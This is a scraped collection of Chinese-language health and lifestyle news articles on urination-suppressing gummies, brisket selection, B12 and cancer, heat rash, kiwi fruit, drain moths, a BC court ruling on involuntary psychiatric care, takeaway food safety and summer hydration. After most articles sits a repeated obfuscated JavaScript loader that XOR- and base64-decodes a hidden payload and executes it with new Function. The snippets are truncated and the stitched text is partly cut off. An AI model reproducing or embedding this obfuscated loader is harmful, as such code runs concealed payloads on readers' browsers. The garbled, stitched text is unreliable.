健康

不少市民都曾遭遇坐长途车无处如厕，或是观赏长达三小时的电影及演唱会时突然尿急的尴尬困境。最近，一款睇演唱会必备的日本柚子味软糖在社交平台 Threads 上引发热烈讨论，不少网民分享指出，在入场前食用几粒即可全程免受尿意困扰，无须中途离场，能安心睇足全程。甚至有传言指食用糯米糍或糯米饭亦有相同延迟水分吸收的效果，非常适合长途车或长片观影时食用。 睇演唱会必备软糖！医生：糯米吸水能力极其有限  这款被誉为“尿意救星”的糖果名为“BonTan 饴”（日本文旦糖），其表面包裹着一层米纸或糯米纸。虽然有试食过的网民表示其风味相当清新好食，但亦有市民抱怨质地较为“黏牙”。究竟这款软糖是否真的具有防尿急的神奇功效？日本泌尿科专家为大家亲自拆解背后的医学原理！ 针对网络上流传“糯米纸能吸收水分从而减少尿意”的说法，日本所泽伊曾野诊所院长、泌尿科医生矶野诚指出，目前医学界并没有明确的科学证据支持这一观点。矶野医生解释，虽然糯米确实具备一定的吸水特性，但一盒软糖所含有的糯米纸份量极少，单凭该份量根本不足以在体内产生显著的吸水效果。 不过，矶野医生补充，当多个复合因素叠加作用时，确实有可能让人的尿意暂时减弱。其中一个关键在于交感神经的反应。软糖中的甜味与柑橘酸味能有效刺激人体交感神经，进而促使膀胱肌肉放松并使尿道括约肌收缩。当膀胱获得更大的扩张空间时，产生的尿意自然会随之暂时减轻。  最近，一款睇演唱会必备的日本柚子味软糖在社交平台 Threads 上引发热烈讨论，不少网民分享指出，在入场前食用几粒即可全程免受尿意困扰，无须中途离场，能安心睇足全程。(セイカ食品提供) 分泌唾液能抑制喝水欲望 另一方面，当口中含着糖果时，会持续促进唾液分泌。这不仅能令口腔维持湿润、降低想喝水的欲望，更可能间接增加体内抗利尿激素的分泌，减少尿液形成。 矶野医生强调，最关键的因素或许来自于“心理暗示”。在无法随意离开座位的封闭环境下，不安与紧张的情绪往往会放大尿意；当大脑相信“只要吃了这款糖果就不会想去厕所”时，这种安心感能有效分散注意力，达到减轻尿意的效果。 中医师教3大防尿急建议 避免喝含咖啡因饮品 对于坊间有软糖可以抑制尿意，注册中医师李广冀向《星岛头条》解释有关作用，并分享如看演唱会前想要减少尿意，应避免食哪些利尿食物。 1. 酸甘化阴，收敛固摄 根据中医“酸甘化阴”理论，酸味与甜味（甘味）结合能促进体内津液生长。生成的津液具有“收敛”与“固摄”的作用，能帮助固摄下焦津液，减少体内水气过度下趋或累积，从而达到减少尿意、缓和尿急的效果。 2. 甘以缓之，纾缓急迫 “甘以缓之”是指甘甜味道（如糖果中的麦芽糖或糯米成分）具有补脾健中、缓急止痛的作用。甘味能纾缓因情绪紧张引致的平滑肌痉挛，放松膀胱及尿道的紧绷感，从而减轻急迫的尿意，带来身心放松（Relax）的感觉。 3. 疏肝理气，气化得宜 糖果中所含的柑橘类果皮香气（挥发油）具有“疏肝理气”的功效。中医认为小便频数有时是由于情绪紧张或压力过大所致。透过疏解肝气、调理气机，能纾缓紧张情绪，使气化功能恢复正常，进而减少因精神因素引起的频尿与尿意感。 对于看演唱会前如何避免急尿，李广冀医师建议应避免饮用含咖啡因及具利尿作用的饮品： 避免利尿饮品： 应避免饮用含咖啡因及具利尿作用的饮品，例如绿茶、咖啡，以及薏米水、绿豆水、玉米须水或相关汤水，以免加速排尿。 注意场馆环境： 演唱会场馆内冷气通常较强，人体毛孔收缩会使排汗量减少，水分大多转由尿液排出，在低温环境下更容易产生尿意。 适量补水原则： 入场前切勿过量饮水，但也不必完全禁水，若口渴时适量补充少许水分即可。判断水分是否足够，可以观察尿液颜色——若尿液呈浅黄色，即代表体内水分已十分充足，无需再额外大量补充。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var...

买牛胸肉最怕又贵又韧，煮出来干柴难咬！有专家教5招挑选牛胸肉秘诀，其中买前只需做1个简单动作，免拆包装也能秒测肉质。 专家教5招挑选牛胸肉秘诀 买前必做1个动作秒测肉质 据《Mashed》报道，对于入厨新手或烧烤爱好者而言，牛胸肉体积大、肉质较韧且价格不菲，往往令人无从入手。烹饪专家 Chris DeLisle 指出，拣选牛胸肉并非单看品牌般简单，即使是同一品牌、同一等级的牛肉，其油花分布、形状及整体肉质的差异，都会令烹调出来的口感大相迳庭。在购买前，不妨尝试以下5大挑选步骤： 挑选牛胸肉5大秘诀 1.仔细检查包装 首先，应避开任何包装破损的肉块。其次，可留意美国农业部（USDA）的牛肉评级，主要按大理石油花（肌内脂肪）分布分为：极佳级（Prime）、特选级（Choice）及精选级（Select）。 若预算许可，极佳级牛肉绝对是首选；若考虑性价比，花点时间挑选一块油花丰富的特选级牛肉亦是不错的选择。但他极不推荐最低级的精选级，因为其容错率极低，长时间烹煮亦容易变柴。此外，必须留意包装内残留的“血水”。少量血水属正常现象，但若血水过多，则代表处理不当或存放时间过长，会严重影响最终成品的口感与多汁程度。 2.仔细考虑尺寸 别被“越大越好”的迷思误导，挑选尺寸时应考虑用餐人数及煮食炉具的容量。若勉强将巨大的肉块塞入狭小的空间，会导致受热不均；加上过大的肉块通常需要额外切除多余脂肪，变相浪费金钱。整块牛胸肉通常重量约为12到14磅，每人应准备约0.5到1磅的生牛胸肉，因为牛胸肉重量在烹煮过程会缩水约50%，一般而言整块牛胸肉足够供至少12人食用，可以根据不同场合需求调整份量。 3.挑选形状及厚度均匀的肉块 牛胸肉通常需要长时间慢煮，因此形状与大小同样重要，整块牛胸肉分为尖肌（point）与平肌（flat），较瘦的平肌通常呈长方形，而较肥的尖肌形状通常不规则。建议选择厚度相对均匀的牛胸肉，若平肌极度单薄，往往会在较厚的尖肌煮熟前，就已经被煮至干柴。厚度均匀的牛胸肉受热会更平均，对家庭厨师来说更容易掌握火候。 4.观察油花分布 由于牛胸肉按重量计价，应避免挑选表层肥膏过厚的肉块，否则切除后只会浪费金钱。挑选的真正秘诀在于内部油花，应尽量选择脂肪均匀分布在肉纤维中的部位。处理牛胸肉时亦要留意，若表面的脂肪呈硬化、蜡状或泛黄，这通常代表牛只的年龄较大；相反，较年轻的牛只通常牛胸肉口感更嫩。 5.买前必做“柔韧度”测试 Chris DeLisle分享了一个免拆包装也能判断肉质的秘诀，凭手感测试肉的柔韧性。购买时，可尝试从肉块的一端拿起，观察它能否自然弯曲。建议挑选从一端拿起时能自然弯曲、有弹性的牛胸肉，如果肉块摸起来硬得像木板，通常代表肌肉组织较紧实，即使经过长时间烹调也未必能充分软化。 资料来源：《Mashed》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var...

日常吃维他命B12保健品竟会致癌？有医生引述一项33万人研究揭，血液B12超标者患癌风险激增6倍。但B12超标绝非致癌元凶，反而是体内1大警号有关。 医生拆解致癌真相：患癌风险高6倍 家医科医生陈欣湄在Facebook专页发文指，门诊中经常有病人满脸忧心地询问同一个问题：“B12吃多了，会不会致癌？”这主要源于2013年丹麦的一项大型研究，该研究追踪了超过33万名原本没有患癌的人士，单纯观察他们血液中维他命B12的浓度。结果发现，血液中B12浓度越高的人，后来确诊癌症的比例竟然越高。当中，B12数值超过正常上限的群组，确诊癌症的机率是一般人的3倍以上；而数值最高的一群，患癌风险更飙升超过6倍。 陈医生解释，血液中B12异常飙高，其实并不是“吃太多B12”所造成。因为人体对B12的吸收机制会“自动踩煞车”，即使摄取过量，多出的分量亦难以被全数吸收。 研究作者在结论中提出，问题其实出在肿瘤本身。有些癌细胞会释放出大量的“运输蛋白”，从而将血液中的B12数值一并推高。作者观察到，这些癌症个案几乎都集中在抽血后的第一年内被发现。这意味着，并非B12养出癌症，而是肿瘤早就在体内悄悄生长，是癌细胞令B12的数值飙高。 陈医生常用一个生动的例子作比喻：异常飙高的B12数字，就像家中的“烟雾警报器”。警报器响起，是因为屋内某个角落正在冒烟起火；但放火的元凶，绝对不是警报器本身。简而言之，血液中异常偏高的B12是癌症的标记，而非导致癌症的原因。2022年另一份权威回顾研究亦证实，现有证据不足以证明高B12会致癌。 儿童B12离奇飙高 恐是4大恶疾先兆 不过，另一项针对388名儿童的研究发现，若儿童在没有服用任何营养补充剂的情况下，血液中的B12离奇飙高（>1500 ng/mL），经追踪后发现部分人最终确诊恶性肿瘤，包括： ●AML（急性骨髓性白血病） ●B细胞淋巴瘤 ●CML（慢性骨髓性白血病） ●横纹肌肉瘤 换言之，若发现孩子或自身的B12莫名飙高且找不到原因，医生强烈建议应立刻入院作详细检查，排除潜藏的严重恶疾。但她亦指出，如果刚好正在服用含B12的保健食品而导致数值偏高，那是正常的生理反应，毋须过度恐慌。 5类人士或需留意补充B12 陈医生表示，以下5大高危群组极容易缺乏B12，建议在医生评估后适量补充：   5类人士或需留意补充B12： ●吃全素、几乎不碰动物性食物的人 ●60岁以上、胃酸变少、吸收力下降的人 ●长期服用二甲双胍（糖尿病常用药）的人 ●有萎缩性胃炎、做过肠胃手术的人 ●有不明原因手脚麻痺、刺痛等神经症状的人 若没上述风险，建议从食物中补充： ●蚬、大蛤（含量数一数二高） ●三文鱼、鲭鱼、沙甸鱼 ●红肉、肝脏 ●鸡蛋、牛奶、芝士 资料来源：家医科医生陈欣湄 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var...

夏日炎炎，出街片刻即大汗淋漓，汗水长时间“焗住”皮肤，极易爆发疹！医管局教4大保持皮肤干爽秘诀，更提醒大家勿乱用止汗剂或防晒随时刺激皮肤。 医管局教4招保持皮肤干爽 警告勿乱用止汗剂/防晒用品 医院管理局 Hospital Authority在facebook专页指出，外出片刻便容易大汗淋漓，全身变得黏腻不堪。热力加上汗水长时间“焗住”皮肤，极易引发又红又痕的汗疹。若不想被汗疹困扰，有以下4招保持皮肤干爽的贴士：   夏天4招保持皮肤干爽： 穿着透气吸汗衣物：建议选穿纯棉、宽松的衣物或排汗衣，以减少皮肤痕痒。 用湿毛巾抹汗：流汗时，应使用湿毛巾轻轻抹走汗水，避免汗液长时间黏附在表面刺激皮肤。 勿乱用止汗剂及防晒用品：尽量避免使用市面上的止汗剂或防晒用品。虽然部分产品含有薄荷或酒精等成分，能令痕痒感暂时消失，但极可能会刺激皮肤并引起过敏。若必须使用，建议选用全天然成分的产品。 避开侷促环境：避免在酷热或空气不流通的地方进行活动，以免体温急升导致排汗量大增，从而诱发汗疹。 医管局提醒，一般而言，只要保持身体干爽、注意散热，并在患处薄涂一层具舒缓保湿效果的护肤膏，汗疹通常会在数天内自然消退。但若汗疹持续且没有改善，便应及早求医。 汗疹有何症状？ 有时候皮肤又红又痒，到底是一般┌敏感还是生热痱？根据英国国民保健署（NHS）的指引，无论是成人或儿童，出现汗疹的症状通常相同。主要包括以下特征： ●皮肤出现细小、凸起的斑点 ●患处伴随发痒及刺痛的感觉 ●出现轻微肿胀 ●皮疹在白皙的皮肤上会呈现明显红色；而在较深色的皮肤上则可能不太显眼，或呈现灰色/白色。 NHS补充，汗疹可出现于身体任何部位并蔓延开去，但它绝对不会传染给他人。 资料来源：医院管理局 Hospital Authority、英国国民保健署（NHS） T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var...

买奇异果以为越圆润越好，原来大错特错！有达人教挑选奇异果的3大方法，其中首选1种形状的奇异果，甚至留意果皮都能秒测新鲜度。 挑选奇异果首选1种形状更甜 留意果皮都能秒测新鲜度？ 据日媒《Yahoo! JAPAN》报道，拥有超过10年蔬果销售经验的日本达人“青髪のテツ”分享，市面上的奇异果品种繁多，除了经典的绿色奇异果外，还有金奇异果、红心奇异果及彩虹奇异果等。当中，金奇异果因味道极为香甜而深受大众及小朋友欢迎。想避免买到酸涩难入口的劣果？青髪のテツ教3大零失手挑选奇异果秘诀：   挑选奇异果方法 1.挑选扁平身甜度比圆形更高 挑选美味奇异果，首要看“形状”。简单来说，形状呈扁平的奇异果，比完美圆形的更鲜甜。这与果实的生长环境有关，生长在靠近树干位置的奇异果能吸收更多养分，由于受树枝挤压，往往会长成扁平状。此外，奇异果最甜的部分是中心的白色果肉，扁平身形的奇异果其白色果肉面积较大，因此整体甜度更高。在果栏或超市购买时，不妨首选横向较宽的果实。 2.测熟度切忌手指大力按 奇异果属于采摘后会随时间继续成熟的水果，刚采收的未熟奇异果偏硬且酸，必须经过一段时间催熟，待果肉变得适度柔软后，甜味才会完全释放，这时才是最佳的食用时机。不过，测试软硬度时有一大诀窍，千万不要用指尖大力按压，否则极易令果肉瘀伤变黑甚至腐烂。正确做法是将奇异果轻轻放在手掌心中包覆，感受其整体的弹性，若感觉软硬适中，即代表可以享用。 3.看果皮绒毛秒测新鲜度 奇异果的新鲜程度，可透过果皮及绒毛的状况来一秒判断： 绿奇异果（有绒毛品种）： 采摘后表面的绒毛会随时间逐渐脱落。因此，挑选新鲜绿奇异果的关键，在于表面是否仍覆蓋著一层浓密的绒毛。 金奇异果（无绒毛品种）： 这类本身没有绒毛的品种，则需仔细观察果皮有否起皱。若果皮因水分流失而出现皱纹，或轻捏时感觉内部过度软烂，代表极可能已经变质腐坏，应尽量避免购买。 资料来源：《Yahoo! JAPAN》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var...

去厕所见到墙角停著“小飞虫”，千万别随手拍死！内地竟有男子拍死牠后下意识揉眼，导致严重感染溃烂，最终须摘除整个眼球保命。到底有何方法彻底消灭这种小飞虫？ 男子随手拍死揉眼染恶菌 持续溃烂须摘除眼球保命 综合内媒报道，经常伏在厕所浴室墙壁或洗手盆边、俗称“坑渠飞虫”的蛾蚋（又称蛾蠓），看似人畜无害，实则从小就在去水渠及污垢中生长。牠们体表沾满各种病菌，绝对是潜伏在家中角落的“移动传染源”，稍一不慎随时引发严重感染。此前，一名男子有一只蛾蚋落在他的左眼下眼皮处，他随手将其拍死，并下意识地揉擦眼部。没过多久，他的左眼开始红肿疼痛。就医后被诊断为季节性结膜炎，视力由正常急降至0.02，且出现绿脓杆菌感染症状。最终，其眼部及周遭开始严重溃烂，不得不摘除整个左眼眼球保命。眼睛对细菌来说是良好的天然“培养基”。蛾蚋身上携带大量病菌，徒手拍死虫体后手部会沾满细菌，若不经意间揉眼，便会将恶菌带入眼中引发严重感染。 类似的恐怖事件亦发生在一名8岁女童身上，她连续一个多月反复呕吐出“活虫”，辗转多家医院、服用常规驱虫药均无效。经多学科会诊及虫体鉴定后，最终确诊为蛾蚋幼虫消化道感染。经调查分析，马桶冲水或洗漱时溅起的水花，将去水渠内的蛾蚋幼虫溅到了牙刷、漱口杯及洗手盆枱面上。女童日常刷牙洗漱时不慎误食，引发持续性寄生感染。由于普通口服驱虫药无法根治，最终只能透过彻底清洁喉管来根除虫源。 据了解，居家最常见的为“白斑蛾蚋”，其密布全身的倒刺绒毛极易附着去水渠的淤泥、细菌和粪便微生物。研究发现，牠们全身携带多种致病菌，包括大肠杆菌、沙门氏菌及绿脓杆菌等，可导致老人、儿童及免疫力较弱人群出现口腔、皮肤、消化道等多重感染。 北京大学人民医院眼科主任医生李明武指出，蛾蚋造成眼部感染主要有两种常见途径： ※飞虫直接掉落、飞入眼内，虫体毛刺、病菌直接附着于眼部造成污染。 ※徒手拍碎、捏碎蛾蚋后，手部沾染大量虫体体液、致病菌和碎屑，下意识揉眼，会将污染物带入眼内。 因此，严禁用手直接拍打或捏碎眼部周边的蛾蚋；接触蛾蚋后严禁用污染的手去揉眼或用纸巾干擦眼球。 蛾蚋入眼急救3部曲 若飞虫不慎入眼，应谨记以下急救流程： 温和冲洗：用人工泪液、生理盐水或抗生素眼药水缓慢冲洗眼部。应急时，新开的樽装纯净水、矿泉水或干净的冻开水亦可，但绝对不建议使用自来水或井水。 分区处理：若小虫停留在眼白、眼皮内侧等安全区域，洗净双手后，用无菌棉花棒轻轻黏出即可；若落在黑眼珠（角膜）上，可尝试多冲洗一会，切勿触碰、擦拭或抠挖，以免加重角膜损伤。 及时就医：若冲洗后仍存在眼痛、眼红、畏光、视力模糊，或虫子无法冲出嵌在眼部，必须立即前往眼科求诊。 灭虫达人教3招 去除厕所飞虫 一名灭虫达人早前在Threads“克拉拉的居家笔记”发文分享，要彻底消灭浴室里烦人的蛾蚋，可跟从以下3大方法：   3招去除厕所飞虫： 清洁去水管： 彻底清除喉管内壁的污垢，让牠们无法产卵。可使用去水管专用的“泡沫清洁剂”或稀释漂白水（需注意避免腐蚀喉管）。清洁时要注意，不能只是用水冲洗，而是要确保清洁剂“接触到管壁”。 排水口加盖：直接封住去水位，防止飞虫从喉管飞出。 睡前加一道防线： 洗完澡后，往排水口喷洒防虫喷剂，让管内留下害虫不喜欢的味道。由于浴室环境较为密闭，建议选用成分天然精油的友善产品，以保障家人健康。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var...

【星岛综合报道】卑诗省最高法院就精神疾病和非自愿治疗问题作出裁决，推翻了省政府的立场。 综合CTV与CBC报道，卑诗省最高法院（B.C. Supreme Court）针对精神疾病与强制治疗做出重大判决，裁定该省现行预设同意的非自愿治疗（involuntary care/俗称强制治疗）违反《加拿大权利与自由宪章》（Canadian Charter of Rights and Freedoms）。 这项在非自愿治疗问题成为政治讨论和公共安全辩论焦点之际出炉的判决明确指出，省府在未评估患者决策能力下，直接授权医疗机构负责人实行“预设同意／预设默许机制”（Deemed consent regime）制度，强制实施精神科治疗是违宪。原告方指出，每年约有1.7万名省民在《精神健康法》(Mental Health Act)下被强制收治，其中相当一部分人可能遭受了非自愿的治疗。 法院目前已给予省府6个月的期限来修正这项实施近50年的法规。 每年约1.7万人被强制收治 在这份历经10年诉讼、长达289页的判决书中，卑诗省最高法院法官布莱克（Lauren Blake）明确指出，《精神健康法》与《医疗同意法》（Consent Act）的特定条文已侵害患者的宪章权利。卑诗省过去一直运作“预设同意／预设默许机制”的法律制度。 代表加拿大伤残人士权益组织“Council of Canadians with Disabilities”提起诉讼的McCarthy Tetrault律师事务所合伙人派威廉斯（Patrick Williams）受访时坦言，卑诗省每年约有1.7万人被依《精神健康法》强制收治，其中相当一部分人可能遭受了非自愿的治疗。 威廉斯直言，尽管并非所有人如此，但其中一部分患者所接受的强制治疗方式，无疑已被法院认定与我国宪法相牴触。 法官布莱克在判决中强调，强制收治精神疾病患者的程序极其复杂。患有严重精神障碍的个体高度脆弱，且往往面临被人类核心特质（即清晰思考与理性推理能力）所背叛的风险。 给予省府6个月宽限期修法 卑诗省境内目前有超过70家医院与医疗设施，提供依据《精神健康法》遭到强制收治的患者进行住院治疗。这些患者有的被收治数日，有的长达数月，直到被评估为状态良好方能获准离开。 有数十名曾接受非自愿治疗的患者出庭作证，向法庭讲述了他们令人不安和痛苦的经历。 针对此项历史性判决，卑诗省卫生厅长（Health Minister）奥祖宜(Josie Osborne）在周五的另一场合做出正式回应。 奥祖宜厅长表示，省府对该判决结果极为重视，必须仔细审阅此案例以厘清未来的具体下一步行动。 奥祖宜表示省府正密切审阅相关案例以厘清后续步骤，并强调强制收治虽是精神健康体系的一环，但未来必须在尊重患者权利、尊严与自主权的前提下进行。 法院已给予省府6个月的宽限期，用以研拟符合宪章精神的新型法律修正案。 威廉斯律师直言，实施近50年的《精神健康法》长久以来仅靠零星的修修补补，全面现代化与根本性变革已刻不容缓。 图：Global News V6 ●...

许多市民平时习惯食外卖，但不少人在吃完外卖饭盒后，回家却出现腹泻与肠胃不适，问题不在于食物本身而是保存方式。胸腔暨重症科医生黄轩指出，最令人担忧的情况是店家于上午 10 时做好外卖饭盒并放在室温，顾客却等到下午 1 或 2 时才食用。食物离开安全温度后放在室温最好不要超过 2 小时，若气温高于 32°C 更不应超过 1 小时，以降低食物中毒的风险。 医生：密闭饭盒易形成细菌滋生温床 室温放置太耐增中毒风险 外卖饭盒是否安全，关键不在于是否装入盒内，而是在于能否持续维持“热的够热、冷的够冷”的保存温度。黄轩医生指出，夏季包好的外卖饭盒存在一定风险，饭菜一旦装入盒内会形成相对密闭环境，热饭热菜堆叠在一起，中心温度可能长时间停留在 20–50°C，这正是许多细菌生长最快的“危险温度带”（约 5–60°C）。当盒盖盖上后，水蒸气会凝结产生水珠，增加的湿度更有利于细菌快速繁殖。许多外卖饭盒是提前数小时制作，若没有适当保温（高于 60°C）或冷藏（低于 4°C），食安风险将会大幅增加。 在临床经验上，医生最担心的是上午制作好的外卖饭盒，一直放在室温环境下摆卖，直至下午 1、2 时才被市民购买食用。根据食品安全原则，室温约 25 至 35°C 时，熟食放置时间不宜超过 2...

酷热天气持续，狂出汗极易引发脱水甚至中暑！单靠喝水其实未必够，有营养师教6大补水消暑饮食秘诀，其中有1款蔬菜含水量高达96%，帮助身体降温。 营养师教6招补水降温 必吃1种蔬菜含水量达96% 据《The Telegraph》报道，在高温热浪来袭期间，维持均衡饮食不仅能补充能量、保持水分，更对整体的身体感受有着巨大影响。肠道健康营养师Farzanah Nasser指出，吃对食物是消暑的关键，她特别分享了6招有效的补水降温饮食法：   1.喝水及进食高水分食物 当身体透过大量出汗来降温时，若不及时补充流失的水分，便会出现脱水症状，导致难以集中注意力、精神疲劳、头痛、心情烦躁，甚至昏昏欲睡。事实上，日常摄取的水分约有五分之一来自食物。许多植物含有大量水分，其中青瓜的含水量高达96%，位居榜首；番茄含水量亦达95%；葡萄的含水量超过80%。此外，士多啤梨、蜜瓜、蘑菇、鲜橙和各种莓果亦热量低且富含维他命和纤维。 建议自制一份清凉沙律，加入青瓜、番茄、葡萄、火箭菜、藜麦、白芸豆和薄荷，淋上柠檬汁、特级初榨橄榄油和少许海盐，作为补水午餐。 2.从天然食物补充电解质 出汗会消耗维持体液平衡及神经传导的电解质，而电解质能支持肌肉收缩、血压及能量水平，这正是脱水时令人难以集中精神的原因。虽然市面上的电解质粉很受欢迎，但建议尽量从天然食物中摄取。例如椰子水富含钾、镁和钠；牛油果、香蕉和番茄富含钾和镁；豆类则提供钙质。对于容易脚抽筋的人，补充镁尤其重要。 建议可自制乳酪特饮，在杯中加入一汤匙乳酪或克菲尔，加水至满再加一小撮盐搅拌均匀，口感清爽宜人。 3.多吃天然抗氧化食物 食物能提供抵御紫外线的天然保护，其中西瓜含有茄红素的这种强效抗氧化剂。研究表明，茄红素能中和紫外线照射后产生的有害自由基；绿茶中的多酚类物质亦有类似作用。当然，防晒霜依然是从源头阻挡紫外线的必需品。建议可将西瓜当作健康零食，拌在沙律中，或饮用冻绿茶和热绿茶。 4.少开火、少量多餐，减少身体负担 建议多准备清淡的冷食，例如罐装鹰嘴豆、藜麦、扁豆、罐头鱼及可切片的豆腐，配搭青瓜、番茄和绿叶蔬菜，轻松做出一顿美味又补水的餐点。不妨将橄榄、风干番茄、朝鲜蓟和熟红菜头放在雪柜，随时制作各种各样的菜肴。 5.饮用薄荷茶 吃薄荷后口腔会感到清凉，因为薄荷含有的薄荷醇能激活口腔中的冷感受体。研究表明，薄荷醇能活化人体内一种通常只在低温环境下才会启动的微型温度计。尽管薄荷醇本身并不冷，但它却能引发与接触冰块相同的反应。 建议用新鲜薄荷叶泡热茶饮用，或将薄荷叶拌入沙律中。 6.以热能对抗热能 听起来有点违反常理，但喝热饮确实能促进排汗，而出汗正是人体主要的降温机制。辛辣食物中的辣椒素及异硫氰酸酯（芥末等辛辣物质）亦会欺骗神经系统，促使身体出汗降温。炎夏若想烧烤，可用辛辣醃料醃制肉串，并配搭水分较高、含电解质的自制乳酪薯仔沙律，既补水又助消化。 3类食物高温下不宜进食 Farzanah Nasser指出，气温飙升时应尽量避免以下食物地雷： 超加工食品（如薯片、快餐）：这类食物含盐量高且水分低，身体为了消化它们，必须从细胞中抽取水分，反而会加剧脱水。 太油腻的食物：身体消化油腻食物时需要耗费更多能量并产生热量，高温下应改为少食多餐以保持凉爽。 高糖饮品及糖果：会导致血糖急速飙升然后骤降，令人在进食后感到更加口渴。建议用绿叶蔬菜、青瓜及苹果自制健康沙冰代替。 资料来源：《The Telegraph》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) ...

